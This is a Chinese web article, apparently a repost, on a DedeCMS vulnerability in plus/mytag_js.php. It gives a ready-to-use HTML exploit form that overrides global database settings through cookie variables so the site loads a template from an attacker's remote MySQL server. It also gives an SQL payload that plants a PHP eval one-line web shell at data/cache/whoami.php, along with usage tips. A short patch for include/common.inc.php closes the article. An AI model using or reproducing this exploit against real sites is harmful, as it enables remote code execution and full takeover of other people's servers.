dedecms 最新漏洞 利用mytag_js上传文件

字体大小: 中小 标准 ->行高大小: 标准
制作文件 
 
1.<form action="http://www.XXX.hk/plus/mytag_js.php?aid=2" method=post> 
2.<input type=text name="_COOKIE[GLOBALS][cfg_dbhost]" value="数据库ip">
 
3.<input type=text name="_COOKIE[GLOBALS][cfg_dbuser]" value="数据库用户名">
 
4.<input type=text name="_COOKIE[GLOBALS][cfg_dbpwd]" value="数据库密码">
 
5.<input type=text name="_COOKIE[GLOBALS][cfg_dbname]" value="数据库名字">
 
6.<input type=text name="_COOKIE[GLOBALS][cfg_dbprefix]" value="表前缀_">
 
7.<input type=text name="nocache" value="1">
 
8.<input type="submit" name='fuck' value='fuck'> 
9.</form>
 

然后在自己远程支持外链的mysql库中的表前缀_mytag 中插入insert into dede_mytag(aid,normbody) values(2,'{dede:php}$fp = @fopen(DEDEROOT."data/cache/whoami.php", ''a'');@fwrite($fp, ''<?php eval($_POST[whoami]) ?>'');echo "y";@fclose($fp);{/dede:php}{/dede:php}');然后用exp提交后会在data/cache/whoami.php 生成一句话 一句话密码whoami需要注意的地方就是当时挖出来的时候 测试了N久。。 最后才发现原来是浏览器的问题,用firefox打开exp提交就行了。
 
 
 
修复方法:这个漏洞主要的成因是dedecms没有判断外部提交的变量。暂时的修复方法找到include/common.inc.php文件,把
 foreach($_REQUEST as $_k=>$_v)
 {
 var_dump($_k);
 if( strlen($_k)>0 && preg_match(‘#^(cfg_|GLOBALS)#’,$_k) )
 {
 exit(‘Request var not allow!’);
 }
 }
 
换成
 
//检查和注册外部提交的变量
 function CheckRequest(&$val) {
 if (is_array($val)) {
 foreach ($val as $_k=>$_v) {
 CheckRequest($_k);
 CheckRequest($val[$_k]);
 }
 } else
 {
 if( strlen($val)>0 && preg_match(‘#^(cfg_|GLOBALS)#’,$val) )
 {
 exit(‘Request var not allow!’);
 }
 }
 }
 CheckRequest($_REQUEST);

此文章由 http://www.ositren.com 收集整理 ,地址为: http://www.ositren.com/htmls/68405.html